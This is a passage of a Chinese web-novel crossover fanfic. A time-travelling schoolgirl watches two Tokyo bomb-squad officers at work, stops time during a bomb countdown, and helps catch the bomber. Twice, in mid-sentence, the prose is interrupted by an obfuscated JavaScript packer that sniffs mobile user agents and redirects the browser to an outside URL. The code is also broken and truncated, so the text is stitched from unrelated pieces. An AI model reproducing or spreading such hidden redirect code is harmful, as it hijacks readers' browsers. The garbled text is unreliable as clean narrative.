“不能。”老师干脆利落地打断我,“报告质量将直接影响你的毕业评价。下周我的课,我要看到第一份报告,题材自选,但必须言之有物,符合历史观察的严谨性,好了,下课。” 他抱着教案走出教室,留下我如同被雷劈中,呆立在座位上。 30份!每份还不能重复!这得观察到猴年马月去!未来的学生也太惨了吧! …… 放学后,野比家客厅。 我瘫在能根据心情变换颜色的智能沙发上,把脸埋进印着“不想写作业”字样的抱枕里,发出一串哀嚎。 “怎么办啊哆啦美……30份报告,杀了我吧……” 黄色的猫型机器人端着杯能量饮料走过来,圆手拍了拍我的背:“春子,往好处想,你终于可以正大光明地进行时间旅行了呀!而且,你不是已经有现成的观察对象了吗?” “现成的?”我从抱枕里抬起头,头发乱糟糟的。 “对呀。”哆啦美眨眨眼,“你之前还认识了两位警察先生吗?‘当代东亚都市警察的日常工作的一天’——这个选题怎么样?既符合历史观察的要求,素材又新鲜一手!” 我顿时眼前一亮。 对啊,松田阵平和萩原研二,现成的观察样本!而且那个卷毛松田,虽然脾气坏嘴巴毒,但长得帅,工作又危险刺激,观察起来肯定不缺素材! 我一骨碌爬起来,瞬间满血复活。 “哆啦美你真是天才,就这么定了,第一站,21世纪,松田阵平&萩原研二警察工作日观察!” 我冲进房间,启动了我的粉蓝色时光机,坐进驾驶座,我兴冲冲地设定坐标:“目的地,21世纪日本东京,松田阵平和萩原研二所在位置,时间……就定在某个普通工作日吧!时间定为工作日,他们应该在上班吧?” 时光机接收指令,平稳地滑入七彩斑斓的时空通道。 【坐标定位:21世纪20XX年11月7日,上午9时47分,东京,神谷町,某高层建筑内。】 时光机停下来后,随即在我面前展开一个旋转的时空入口。 “搞定!”我拍了拍手,想也不想,纵身跳进了那个七彩漩涡。 “哇啊啊——” 刚跳出洞口我就发现自己正在半空中自由落体,慌乱中我手舞足蹈,勉强调整姿势,最后以一个不怎么优雅的姿势“噗通”一声摔在了硬邦邦的地板上。 “疼疼疼……”我揉着摔痛的屁股爬起来,一抬头,愣住了。 房间里站着七八个人,都穿着深蓝色的古式制服——哦对,在21世纪这叫警察制服,此刻他们全部目瞪口呆地看着我,脸上的表情像是见到了外星人。 也对,任谁看到半空中突然裂开一个洞,又从洞里掉出一个人,都会是这副表情。 我穿着那身浅紫色连体紧身衣,与周围凝重紧张的蓝色制服方阵格格不入,像个误入严肃军事演习的滑稽剧演员。 “这、这位小姐,你是谁?怎么进来的?”一位年纪稍长的警察率先反应过来,警惕地问道。 “呃……嗨?”我举起手,尴尬地挥了挥,声音干巴巴的,“不好意思……我好像,走错地方了?” 警察们的表情从震惊转向极度警惕和困惑,有人手已经摸向了腰间的装备。 就在这气氛凝固到极点的时候,人群中心,一个背对着我的“白色身影”动了。 那身影穿着一套我从未见过的厚厚的、蓬起来的白色全包裹式衣服,看起来像个会走路的棉被面包,此刻蹲在地上,似乎在专心致志地摆弄着什么,听到动静,他站起身,转了过来。 厚重的白色防护服,透明的圆形面罩……透过透明的面罩,我隐约看到了一双锐利的青蓝色眼睛。 那眼睛……有点眼熟。 那双眼睛在看到我的瞬间,瞳孔猛地收缩。 “野比春子?”一个有点耳熟的声音从面罩下传来,带着明显的惊愕,“你怎么会出现在这里?!” 这个声音……是那个卷毛警察! 我眨巴了两下眼睛,不太确定地试探:“松……松田阵平?” “白色面包人”抬手,有些费力地摘下了那个看起来很沉重的头盔。 果然,头盔被摘掉后,露出了松田阵平那张即使沾着汗渍也依旧帅得很有攻击性的脸,只是此刻,他眉头紧锁,凫青色的眼睛里没有半点往日那种慵懒或戏谑,全是骇人的严厉和紧张,额前的卷发湿漉漉的。 他“嗯”了一声,算是回答,目光如刀般刮过我,随即迅速扫视了一圈周围显然被这突发状况搞懵了的同僚。 “松田队长,您认识她?”一个年轻警察忍不住出声,眼神在我和松田之间惊疑不定地来回扫视。 松田阵平没直接回答,只是用极度严肃、近乎命令的语气对我低喝道:“这里不是你该呆的地方,快走!” 我被他这罕见的严厉态度吓了一跳,但来都来了,作业还没着落呢。 “我、我是来找你们……还有萩原君的呀!”我下意识辩解,同时好奇地打量他这身奇装异服和他刚才蹲着的地方,“这里是哪里啊?你怎么穿成这样?在玩什么cosplay呀?” 松田阵平抹了把头上的汗道:“这里是神谷町的一栋大楼,有人在这里安装了炸弹,我刚拆完。” “炸、炸弹?!”我吓得往后跳了两步,这才注意到松田阵平刚才蹲的位置旁边,那个长方体形状的机器,看起来普普通通,像个金属盒子,但上面连着一堆红红绿绿的线,还有一个已经黑屏的显示器。 “已经拆掉了,现在不会爆炸。”松田阵平解释道,随即眉头皱得更紧,“你到底为什么会出现在这里?又是时光机失控?” 我这才松了口气,拍拍胸口:“吓死我了……我是来找你和萩原君的,没想到一来就正好碰到这个。”我环顾四周,“对了,萩原君呢?” “他在另外一处位置拆弹。”松田阵平简短回答,又开始赶人,“赶紧走,这里不是玩的地方。” “同一时间要拆两个炸弹?”我瞪大了眼睛,“21世纪这么危险的吗?” 我拍拍胸口,惊魂稍定,但想到我的作业,又鼓起勇气,主要是作业的压力比炸弹还大:“我不走,我走了作业就完不成了!” “作业?”松田阵平像是听到了什么天方夜谭,在这种环境下讨论作业? 我已经趁他不注意,像只灵活的小猫一样窜到了那个被拆解的炸弹旁边,好奇地打量着这个差点要人命的东西,在22世纪,这种原始的化学爆·炸物只存在于历史教科书和博物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148673|195415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馆里了。 “喂!”松田阵平出声阻止。 周围的警察们也大惊失色:“小姐,别靠近那个!” 在松田阵平的眼神示意下,他们才没有冲过来把对方按在地上。 “我就看看,不动手。”我保证道,然后点开左手腕上伪装成手环的光脑,对着那个拆解到一半的炸弹,从各个角度连拍了好几张高清照片,甚至还伸出食指,飞快地摸了一下炸弹冰凉的外壳。 “你干什么!”松田阵平的声音提了起来。 “收集素材写作业啊!”我理直气壮,光屏投射出淡蓝色的三维立体全息影像,正是这个炸弹的精细模型,连内部被松田拆开的复杂线路都模拟了出来,“看,多好的第一手资料!我们22世纪的历史课本里可没有这么详细的拆弹实景图!” 松田阵平看着我那明显不属于这个时代科技的光屏,嘴角抽了抽,大概是在努力理解“作业”和“拍炸弹”之间的逻辑关系。 拍够了炸弹,我的注意力很快又转移到松田阵平身上那套厚重的白色衣服上:“你这身衣服是干嘛的?看起来好重。” 我伸手戳了戳他的手臂,硬邦邦的,像是厚厚的合成材料。 松田阵平被我戳得僵了一下,但还是言简意赅的解释道:“防爆服,拆弹时穿的,能提供一定的防护。” “防护?”我眼睛一亮,“我能摸摸看吗?” 不等他回答,我已经上手了,我围着他转了一圈,这里摸摸,那里拍拍,还用光脑拍了好多张全息照片。 “面料好厚……这是什么材料?重量多少?防护原理是什么?能防多大当量的爆炸?”我一连串问题抛出来。 松田阵平示意周围的队员过来帮他脱下防爆服,一边回答:“主要材料是凯夫拉纤维和特种合金,重量大约40公斤,原理是分散和挡住爆炸冲击波,具体防护等级要看型号。” “40公斤?!”我惊呼,“在没有反重力辅助技术的21世纪,你们就穿着这么重的东西工作?那不是累死了!” 旁边一位年轻的警察忍不住插话:“是啊,而且里面闷热得很,穿一会儿就像蒸桑拿。” 松田阵平没接话,只是脱下防爆服后,里面那身笔挺的深蓝色制服更加清晰地勾勒出他优越的身材,肩宽腰窄,个高腿长,严肃的制服穿在他身上,有种别样的禁欲感和英气,我左看看右看看,发现明明都穿着同样的制服,松田阵平却硬是比周围人帅出一大截,跟个衣架子似的。 松田阵平活动了一下肩膀,对队员们说:“正常收尾作业。”然后看向我,“你,跟我来。” 他一把抓住我的手腕,不由分说把我带到这个楼层一个相对安静的角落。 “现在,解释。”他松开手,抱臂看着我,恢复了那副审讯般的姿态,“‘作业’到底是怎么回事?还有,你是怎么精准找到这里的?”他显然不相信这是巧合。 我扁扁嘴,把历史老师的要求和30份报告的“悲惨命运”倒豆子般说了一遍。 “……所以嘛,我第一个就想到来观察你们警察的日常工作啦,本来想写个‘警察一日’之类的,谁知道一来就碰上你在拆弹。”我眼睛亮晶晶地看着他,“松田君,你能不能……再表演一下那个?就是,拆弹?刚才我都没看到过程,素材不够写报告啊!” 松田阵平用看傻子的眼神看着我:“炸弹我已经拆完了,没办法给你‘表演’。”他顿了顿,脸色再次沉下来,语气是前所未有的严厉,“比起你的作业,我更想问你,穿越的时候为什么不先观察环境?万一你刚才直接掉在炸弹上,或者掉下来干扰了我的操作,我们现在已经全完了!这不是游戏,野比春子!” 我被他训得缩了缩脖子,委屈地鼓起脸颊:“我、我又不是故意的……谁知道时光机出口开在这里嘛,下次我会注意先看看的啦!” “对了,你这边拆完了,那萩原君那边也拆完了吗?” 我赶紧转移话题道。 松田阵平瞪了我一眼,大概也知道骂我没用,他看了眼手表,没好气地说:“那边情况应该也解决了。” “那我们去找他吧!”我不想继续挨骂了,这人骂人真的好凶,赶紧提议道。 松田阵平还没说话,我已经从四次元皮包里掏出了任意门:“去萩原研二那里。” 门把手转动,粉色的门扉开启。 6.11月7日(下) 门另一边,浅井别墅区,某高层公寓客厅。 萩原研二正随意地坐在地板上,背靠着一个壁炉,手指间夹着一根点燃的烟,听着队员汇报群众已全部疏散完毕的消息,他紫罗兰色的眼睛里带着惯有的轻松,但微微紧绷的下颌线暴露了他并非全然放松。 就在他捻灭烟头,准备起身解决旁边那个的金属箱时—— 一扇粉色的门,毫无征兆地在他侧面两米处的空气里浮现、凝实。 “?!!” 在场所有警察,包括萩原研二,全都瞬间僵住,瞳孔地震,看向那扇凭空出现的门。 门,打开了。 松田阵平率先跨出,脸色依旧不好看,接着,一个小脑袋从他身后探出来,笑容灿烂地朝他挥手: “好久不见呀,萩原君!” 萩原研二手里的烟真的掉了,他愕然地看着我们,又看看那扇突然出现的门:“小阵平?野比小姐?你们……怎么过来了?” “被她用任意门传送过来的。”松田阵平简短解释,目光落在萩原研二身上,又扫了一眼他手边熄灭的烟头和身上轻便的制服,眉头瞬间拧成了死结。 我也顺着他的目光看过去,感觉自己好像发现了什么。 “咦?”我扯了扯松田阵平的袖子,小声但足够让所有人听清地问,“松田君,不是说拆弹都要穿那个很重很重的白色防护服吗?萩原君怎么没穿啊?” 话音落下,萩原研二就暗道不妙。 松田阵平的眼神瞬间变得极其可怕,他盯着萩原研二,一字一顿,声音里压着山雨欲来的怒火: “萩、原、研、二,你又没穿防爆服?” 萩原研二的笑容僵在脸上,紫眸里闪过一丝心虚,他立刻站起身,试图解释:“那个……小阵平,你听我说,今天这个炸弹结构比较清晰,计时器也停了,我想着快点解决,而且穿那个确实有点闷……” “你想死吗?!”松田阵平的声音猛地拔高,怒喝在空旷的客厅里回荡,把旁边几个队员都吓得一哆嗦,“跟你说了多少次?!只要炸弹没彻底解体,危险就永远存在!万一有二次触发装置呢?!万一犯人远程操控呢?!你把安全条例当什么?!啊?!” 我被他突然爆发的怒火惊得又往后缩了缩,心想:哇,原来松田阵平生起气来这么吓人……不过萩原研二是违规脱了防爆服拆弹啊,原来还能这样吗?21世纪的警察这么勇的? “我错了我错了!”萩原研二被骂的抬不起头来,举手投降,“那个炸弹还没拆,我这就去穿——” “现在穿已经来不及了。”松田阵平强行压下怒火,毕竟这家伙不是一次两次了,现在也不是算账的时候,他迈步走向客厅中央的炸弹:“反正我那边也拆完了,这个炸弹,我和你一起拆。” 他又转头瞪向我:“你,赶紧离开这里。” “我才不要!”我立刻抱紧我的任意门,大声抗议,“我要拍你们拆弹的素材,这是我的作业!” “不行!”松田阵平和萩原研二这次异口同声道。 松田阵平冷着脸道:“这不是儿戏,立刻走!”他示意旁边的队员,“带她出去!” 萩原研二也收敛了笑容,严肃地劝我:“野比小姐,这里真的很危险,不是开玩笑的,请你先到安全区域去。” 眼看两个警察叔叔要动真格把我请出去,我急了,唰地从包里掏出那个黄铜色的时间暂停器,高举过头顶: “我有这个,时间暂停器!要是真有万一,我马上暂停时间,而且……”我豁出去了,开始威胁,“就算你们现在把我赶走,我也可以用任意门或者隐身斗篷再溜回来,你们拦不住我的!” 松田阵平和萩原研二看着那个熟悉的时钟,表情都微妙地变化了一下。 他们对视一眼,都从对方眼中看到了无奈。 确实,面对一个手持暂停时间、任意传送、可能还有一堆乱七八糟未来道具的“未来人”,传统的“清场”手段好像……真的不太管用。 松田阵平深吸一口气,像是在努力说服自己接受这个荒谬的现实,他咬着牙,指着客厅一个远离炸弹的墙角:“待在那里,不许动,不许出声,不许靠近!如果看到我们叫你跑,立刻按你那个暂停器,然后头也不回地跑!明白吗?” “明白明白!”我小鸡啄米般点头,乖乖缩到指定的角落,举起光脑,调整到拍摄模式。 松田阵平这才和萩原研二一起,蹲到了那个金属炸弹前。 两个穿着深蓝色制服的帅哥并肩蹲在炸弹前,侧脸线条认真而专注,松田阵平拿着专业工具,小心翼翼地检查线路;萩原研二则拿着电子探测器扫描炸弹内部结构,他们低声快速交流着,手上动作稳定而迅速,使用各种精密工具开始操作,我远远地拍着,光脑清晰地记录着他们的每一个细微动作和表情变化。 “哇,这个画面好棒……”我小声嘀咕,调整拍摄角度,“回去可以做个‘21世纪警察工作vlog’,肯定能拿高分。” 时间一分一秒过去,客厅里只有工具轻微的碰撞声和两人简短的指令,气氛紧张却有序。 就在我以为这次观察会以“成功拆弹”的圆满结局告终的时候。 “滴——!” 一声尖锐刺耳的电子音猛然炸响。 松田阵平和萩原研二的身体同时僵住。 只见炸弹显示器上,原本已经静止的数字,突然变成了鲜红的【0:06】,然后毫不犹豫地开始跳动。 【0:05】 【0:04】 炸弹回秒了! 松田阵平和萩原研二脸色骤变。 “快跑——!!!” 松田阵平的吼声和萩原研二的惊呼同时爆发,两人以惊人的速度弹射起身,不是朝门口,而是不约而同地冲向我的方向。 松田阵平一把死死攥住我的手腕,萩原研二也抓住了我的手臂,两人拖着我就要往最近的承重柱后扑倒。 电光石火之间,巨大的恐惧反而让我脑子一片空白,只剩下本能,我用尽全力,用拇指狠狠按下了时间暂停器顶端那个鲜红的按钮。 仿佛宇宙间某个无形的开关被拨动,一切,静止了。 奔跑的警察队员们定格在惊慌失措的姿势,窗外飞行的的直升机悬浮在空中,螺旋桨一动不动,空气中飘浮的微尘清晰可见。 还有那颗炸弹显示器上,鲜红的数字死死地卡在 【0:02】,不再跳动。 万籁俱寂,连声音都被剥夺。 我双腿一软,差点跪下,被松田阵平和萩原研二一左一右架住,我们三人粗重的喘息声在这片绝对寂静中显得格外清晰。 “吓、吓死我了……”我声音发抖,心脏狂跳得快要从嗓子眼蹦出来,“幸亏……幸亏我带了时间暂停器…… 松田阵平和萩原研二也惊魂未定,他们看着眼前超现实的一幕,又看向我手里的时钟。 “这……是怎么回事?”松田阵平的声音有些干涩,他松开了我的手腕,震惊地环顾四周。 “我暂停了时间。”我咽了口唾沫道。 萩原研二也松开了我,不可思议地环顾完全凝固的世界:“那我们……为什么没被停住?” “因为暂停的那一刻,你们正抓着我。”我拍了拍胸口,解释道,“时间暂停器,会暂停除使用者之外的时间,如果使用者在启动时被他人触碰到,那么碰到的人也不会被暂停。” 松田阵平和萩原研二对视一眼,都从对方眼中看到了惊怒与庆幸,只差两秒……他们很清楚,如果不是这个意外出现在现场的未来少女,如果不是她恰好带着能暂停时间的逆天道具,今天,在场的所有人,包括他们自己,恐怕都在劫难逃。 一种劫后余生的寒意窜过脊背。 松田阵平闭了闭眼,再睁开时,已经恢复了惯有的冷静,只是眼神更加锐利深沉,他看向那颗被定格在最后两秒的炸弹。 “现在时间停了,炸弹不会炸。”我缓过劲来,问道,“那个炸弹,你们是要继续拆掉,还是……我帮你们把它丢到某个无人区?保证不会伤到人。” 松田阵平和萩原研二再次对视,默契地做出了决定。 “拆。”松田阵平简短地说,转身朝炸弹走去,“差点害死人的东西,要保留证据。” 萩原研二也跟了上去:“没错,而且得搞清楚为什么突然回秒。” 我有些意外,但更多的是佩服,这种情况下还能保持冷静和专业,这就是警察吗? 两人再次回到炸弹前,在凝固的时间中,他们可以毫无压力地仔细检查,我则举着光脑,记录下这难得的一幕,在生死边缘被冻结的时刻,两个警察依然专注地拆除威胁。 很快,他们发现了问题,炸弹内部隐藏着一个极其隐秘的远程信号接收装置。 “是犯人……他远程操控了回秒,想炸死我们。”萩原研二的声音冷了下来。 “这个混蛋……”松田阵平咬牙,两人不再犹豫,利用这暂停的安全时间,熟练而迅速地将炸弹彻底拆解成一堆无害的零件。 做完这一切,萩原研二才长长松了口气,好奇地问我:“野比小姐,你这个时间暂停……范围有多大?只限于这个房间吗?” “是全宇宙哦。”我摇摇头,得意地说,“只要是这个时间点上的所有事物,都会停止。” 松田阵平和萩原研二同时用震惊的眼神看向我手里那个小小的时钟。 “……22世纪的科技,真是可怕。”萩原研二喃喃道。 松田阵平盯着我手里的时间暂停器,眼神灼热得仿佛想立刻把它拆开研究。 “现在安全啦。”我问道,“要解除时停吗?” 松田阵平点了点头:“解除吧。” 我再次按下按钮,时间恢复流动。 “快卧倒——!”“队长小心!” 队员们惊慌的呼喊声戛然而止,因为他们发现,炸弹并没有爆炸,而松田队长和萩原队长已经站在炸弹旁边,炸弹本身……似乎已经被拆解了? “炸、炸弹……”一个队员结结巴巴地问。 “已经拆除了。”松田阵平冷着脸说道,谁都听得出他语气里压抑的怒火。 队员们惊魂未定,面面相觑,都不知道刚才那短暂的一瞬发生了什么,但劫后余生的庆幸,让他们暂时顾不上深究。 但我很生气,非常生气。 差一点,就差一点,我这张漂亮的脸蛋和美好的青春就要交代在这里了,这简直是对我学业和生命安全的严重挑衅! 我气鼓鼓地看向松田阵平和萩原研二:“那个炸弹犯太可恶了,你们想不想报仇?” 两人还没完全从时间跳跃的错位感中恢复,略带疑惑地看向我。 我没等他们回答,已经握住了任意门的把手,恶狠狠的大声说道:“去那个试图引爆炸弹、差点害死我们的混蛋身边!” 粉色门扉,第三次开启。 门对面,是一间昏暗凌乱的小巷子,一个戴着黑框眼镜、身材瘦小、看起来畏畏缩缩的中年男人正靠在墙上,他手里紧紧握着一个带有红色按钮的黑色遥控装置,脸上混杂着期待、恐惧和扭曲的快意。 此刻,他正一脸见了鬼似的表情,瞪着突然出现在他对面的粉色门扉,以及从门里探出头、杀气腾腾的我。 我左右一看,这破地方就他一个人,手里还拿着疑似遥控装置的东西,立刻锁定了凶手。 “就是他!”我指着那男人,对身后的松田阵平喊道。 松田阵平眼中怒火升腾,霎时间他如同猎豹般冲出,越过任意门,那个男人在看到松田阵平从门里走出的瞬间,脸上血色尽褪,惊恐万状,下意识就要去按手里的遥控按钮。 “混蛋——!” 松田阵平二话不说,一记重拳狠狠砸在男人脸上。 “砰!” 一声令人牙酸的闷响,我眼睁睁看着那男人的眼镜粉碎,牙齿混合着血沫从嘴里喷了出来,整个人惨叫着向后翻倒,遥控器脱手飞了出去。 我下意识摸了摸自己的脸蛋,有些后怕:当初松田阵平弹我脑门时是真的手下留情了,要是当初他也用这个力道打在我脸上,我这张漂亮的脸蛋肯定要毁容了! 又是重重的一拳,松田阵平显然怒急,挥拳还要再打。 “小阵平,别把人打死了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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爆·炸物处理班的办公室内,因为我也算间接帮他们抓住了穷凶极恶的炸弹犯,警察叔叔们对我格外热情,给我买了一堆零食和饮料,我开开心心地坐在椅子上,一边吃零食,一边好奇地打量着这个21世纪的警察办公室,还用光脑偷偷拍了几张照片——都是作业素材啊。 等松田阵平和萩原研二做完初步报告出来,就看到我面前堆着一小堆零食包装袋,正捧着一杯果汁喝得开心。 松田阵平走过来,看了一眼我沾着薯片碎屑的嘴角,淡淡道:“把零食收起来,擦擦嘴。” “干嘛?”我仰头问。 “带你去吃饭。”他拿起他放在旁边椅子上的西装外套。 萩原研二也走过来,笑着补充道:“今天真的多亏野比小姐了,无论如何,请务必给我们一个答谢的机会,我知道一家很不错的烤肉店。” “烤肉!”我眼睛一亮,立刻从椅子上蹦起来,把没吃完的零食一股脑塞进四次元皮包,直接掏出任意门:“去哪里吃?我送你们过去!” ………… 烤肉店里,服务员将我们引到靠窗的位置,炭火很快端了上来,肉片在烤盘上滋滋作响,香气四溢。 萩原研二郑重地举起茶杯,紫罗兰色的眼睛里满是真诚的笑意和感激:“今天真的非常感谢野比小姐,如果不是你及时时停,我们已经……我以茶代酒,敬你一杯。” 松田阵平正在翻动烤盘上的肉,闻言动作顿了一下,他没有抬头,但声音清晰地传来:“谢谢,以后有什么需要帮忙的,只要我能做的,都可以来找我。” 我愣了一下,没想到这个看起来总是很拽的卷毛会这么认真地道谢。 我咬着吸管,心里有点小得意,但嘴上还是说:“不用这么客气啦,我也是为了自救嘛,而且,我还收集到了超棒的作业素材呢!” 萩原研二好奇地问:“对了,野比小姐,你的作业具体要写什么?就是观察我们吗?” 我立刻开启了吐槽模式,把30份报告的血泪史又说了一遍,最后哀叹:“真羡慕你们,可以少学一百多年历史呢……” 松田阵平和萩原研二这才完全理解了我的“苦衷”,萩原研二忍俊不禁道:“原来即使到了22世纪,学生也还是有作业的烦恼啊。” “那当然!”我皱皱鼻子,“而且更难搞定。” “所以,你的第一份报告,是准备写我们?”松田阵平一边继续烤肉,一边问。 “对啊,‘21世纪爆·炸物处理警察的日常工作观察’,这个主题很不错吧?”我得意地说,“而且托今天这出意外的福,我的素材超级丰富!”差点被炸死的经历虽然吓人,但绝对能让报告内容惊心动魄。 松田阵平把烤好的第一波肉夹到我盘子里,言简意赅:“吃。” 我夹起一片蘸了酱汁的烤肉塞进嘴里,瞬间被美味征服:“唔,好吃!” “松田君烤肉技术不错嘛!”我夸奖道。 他轻哼一声,但嘴角似乎弯了一下。 接下来,基本上是松田阵平和萩原研二负责烤,我负责吃,两人配合默契,烤好的肉总是优先放到我这边。 “萩原君,松田君。”我咽下一口美味的烤肉,“你们以后叫我春子吧,我的朋友都是这么叫我的。” 我并非傻子,在炸弹即将爆炸的生死关头,这两人第一反应不是自己逃,而是冲过来想带上我一起跑,这份下意识保护他人的本能,说明他们都是品行很好的人。 萩原研二紫罗兰色的眼眸弯起,从善如流:“好的,春子小姐。” 我看向松田阵平,他正低头翻肉,闻言只是“嗯”了一声,算是同意。 ………… 周一,22世纪,历史课堂。 我将精心撰写、附带了全息影像和动态视频的《21世纪初日本东京都市警察拆弹部队工作风险与应对机制实地观察报告》提交了上去。 寺小屋荣五郎老师戴着特殊眼镜,仔细翻阅着这份让我差点搭上小命的全息报告,当看到时间暂停器应用的那段惊险记录时,他的胡子明显翘了翘。 良久,他摘下眼镜,看向忐忑不安的我,严肃的脸上难得露出堪称满意的神色。 “观察细致,记录翔实,尤其是对突发危机的记录和思考,超出了简单观察的范畴,体现了对历史现场‘不确定性’的深刻认知。” 他在电子评分板上利落地打下了一个鲜红的、巨大的: “A”。 “第一份报告,完成得不错,野比同学。”他顿了顿,又说道,“不过,还有29份,请继续努力。” 我捧着光脑上那个闪亮的“A”,笑得见牙不见眼。 “是,老师!” 7.出发,恐龙时代 那天的拆弹事件过后,警视厅爆·炸物处理班迎来了一段难得的平静期。 但松田阵平的怒火可没那么容易平息。 那天回到警察宿舍后,一关上门,松田阵平从萩原研二脱下防爆服的那一刻骂到他差点被炸得尸骨无存的严重后果,中间不带喘气,用词之犀利,气势之磅礴,让隔壁几个宿舍的警察都悄悄探出头来看热闹。 “你知不知道那种炸弹回秒意味着什么?啊?!意味着你连反应的时间都没有!意味着你会变成一堆肉沫!连收尸都收不齐全!” “我知道错了。”萩原研二收敛了笑容,认真地低下头,“真的,小阵平,我保证,以后拆弹一定穿防爆服,再也不会擅自脱下来了。” 松田阵平这才冷哼一声,放过了他。 然而这几天,萩原研二发现一个微妙的现象——松田队里那个叫村田翔的年轻队员,突然对他殷勤得过分。 先是上班时,村田翔“恰好”多买了一盒香烟,红着脸递过来:“萩原队长,这、这个牌子的烟您喜欢抽吧?我正好买多了……” 萩原研二愣了一下,笑着接过来:“谢谢啊,小村田,改天请你喝饮料。” 然后是午休时间,村田翔又“恰好”多买了一份萩原研二爱吃的三明治:“萩原队长,这家店的三明治很好吃,您尝尝……” 再后来,甚至连下班后,村田翔都会找各种借口跟着他,又是帮忙拿东西又是请吃拉面,搞得萩原研二都有些浑身不自在了。 终于,在村田翔又一次“恰好”给他买了杯咖啡后,萩原研二忍不住了。 他端着咖啡杯,紫罗兰色的眼眸里带着笑意询问道:“小村田,你最近是不是有什么事情需要我帮忙?” 村田翔的脸瞬间涨得通红。 “那个……萩原队长……”他支支吾吾半天,才小声开口,“我就是想问问……您那位表妹……野比小姐……” 萩原研二的笑容微微一僵。 “她……她有男朋友了吗?”村田翔鼓足勇气,一口气问了出来,说完后脸红得几乎要冒烟。 萩原研二的笑容维持着,但眼底闪过一丝复杂。 “应该……没有吧。”他斟酌着回答,心里却莫名有些微妙的感觉。 村田翔的眼睛瞬间亮了起来,他有些不好意思的说道:“那、那萩原队长,您能帮我介绍一下吗?我、我是认真的!野比小姐真的太漂亮了,我从来没见过那么漂亮的女孩!就那天在办公室里,她穿着那件浅紫色的衣服,笑起来的样子……我、我……” 年轻人越说越激动,手舞足蹈地比划着,满脸都是陷入爱河的人才会有的那种光芒。 萩原研二还没来得及回答—— “介绍什么?” 一个冷冰冰的声音从身后传来。 两人同时转头,只见松田阵平不知何时站在了休息室门口,嘴里叼着根烟,双手插在裤兜里,墨镜下的表情却不太好看。 村田翔打了个寒颤,但还是鼓起勇气开口:“松田队长,我、我是想请萩原队长帮忙介绍他的表妹……” “表妹?”松田阵平嗤笑一声,踱步走进来,目光冷冷地扫过村田翔,“你说春子?” “是、是的……”村田翔被他的气势压得有些喘不过气,但还是坚持道,“野比小姐真的很漂亮,我、我第一次见到那么好看的女孩子,而且她看起来性格也很好……” 松田阵平摘下墨镜,露出一双锐利得凫青色眼睛:“她比你可小得多。” “可、可她不是看起来就小我四五岁的样子吗,也不算太多吧……”村田翔小声辩驳。 松田阵平冷笑一声,那笑声里带着毫不掩饰的危险气息:“村田。” “是、是!” “你知道她是什么人吗?” “萩、萩原队长的表妹啊……”村田翔不明所以。 松田阵平盯着他看了几秒,然后缓缓开口,语气阴恻恻的:“她是个高中生。” 村田翔愣了一下,但很快又鼓起勇气:“那、那也没关系啊,高中生也可以谈恋爱……” “你想犯罪吗?”松田阵平打断他,声音冷冷道。 村田翔被噎住了。 松田阵平上前一步,居高临下地看着这个胆敢觊觎那个未成年的年轻队员,黑着张脸道:“看来是我最近给你们布置的训练量太轻了,让你还有精力想这些有的没的。” “松、松田队长……” “从今天开始。”松田阵平一把按住村田翔的肩膀,力道大得让后者龇牙咧嘴,“你的训练量加倍,现在,跟我走。” “等、等等——松田队长——” 松田阵平不管三七二十一,拖着哀嚎的村田翔就往外走。 一个小时后,训练场上。 村田翔像一滩烂泥一样趴在地上,浑身被汗水浸透,四肢酸软得连抬都抬不起来,刚才的一个小时里,松田阵平亲自下场“指导”他——说白了,就是单方面把他揍得毫无还手之力。 松田阵平站在他旁边,活动了一下手腕,表情云淡风轻,仿佛刚才那场“指导对练”只是热身。 “起来,再来一组。” “不、不行了……松田队长,我真的不行了……”村田翔有气无力地求饶。 松田阵平低头看他,嘴角勾起一个似笑非笑的弧度:“怎么,追女孩子的时候胆子那么大,挨打的时候就不行了?” 村田翔发出一声哀嚎,把脸埋进手臂里,拒绝面对这个残酷的世界。 松田阵平哼了一声,转身走向场边,拿起毛巾擦了擦汗。 旁边站着的萩原研二将这一幕从头看到尾,紫罗兰色的眼眸里闪过一丝若有所思的光芒。 他看看地上奄奄一息的村田翔,又看看转身离开、背影莫名带着点不爽的松田阵平,嘴角忍不住弯了起来。 “原来如此啊……” 他小声嘀咕了一句,脸上的笑容意味深长。 …… 22世纪,野比家。 周六的早晨,阳光透过可以模拟任何场景的智能窗户,在房间里投下波光粼粼的蓝色光影。 这间房间此刻正呈现着海底世界的景象——天花板是晃动的水面,阳光透过海水投射下来,形成一道道摇曳的光束;四周的墙壁上,色彩斑斓的珊瑚丛生,各种热带鱼悠闲地游过,偶尔还有一两只海龟慢吞吞地划水。 而房间正中央,是一个巨大的洁白无瑕的贝壳。 贝壳上的盖子缓缓打开,露出里面柔软的粉色内衬,和一个穿着白色睡裙正伸懒腰的少女。 “唔——” 我打了个大大的哈欠,从贝壳床里坐起来,揉了揉眼睛。 “周六……能睡到自然醒……真是太幸福了……” 我感慨了一句,又在床上赖了十分钟才磨磨蹭蹭地爬起来,赤脚踩在柔软的地毯上,光脚走向浴室。 一个小时后。 我裹着浴袍从浴室里出来,浑身冒着热气腾腾的香气,皮肤被热水泡得粉粉嫩嫩的,头发半湿地披散在肩上。 客厅里,一个看起来十来岁的男孩正盘腿坐在沙发上,全神贯注地玩着全息游戏。 “早上好,世修!”我凑过去打招呼。 “啊,姐姐早上好。”野比世修抬头看了我一眼,又继续专注于游戏,“今天起得挺早嘛。” “那当然,今天可是有大计划的。”我得意地说,左右张望了一下,“对了,哆啦美呢?” “哆啦美啊,今天一大早就被她的朋友叫出去玩了,好像是要去什么新的甜品店。”世修头也不回地回答。 “啊——”我失望地拖长声音,“我还想让她今天带我去中生代看恐龙写报告呢。” 世修闻言,暂停了游戏,转过头来,脸上露出担心的表情:“去恐龙时代?姐姐你一个人去?” 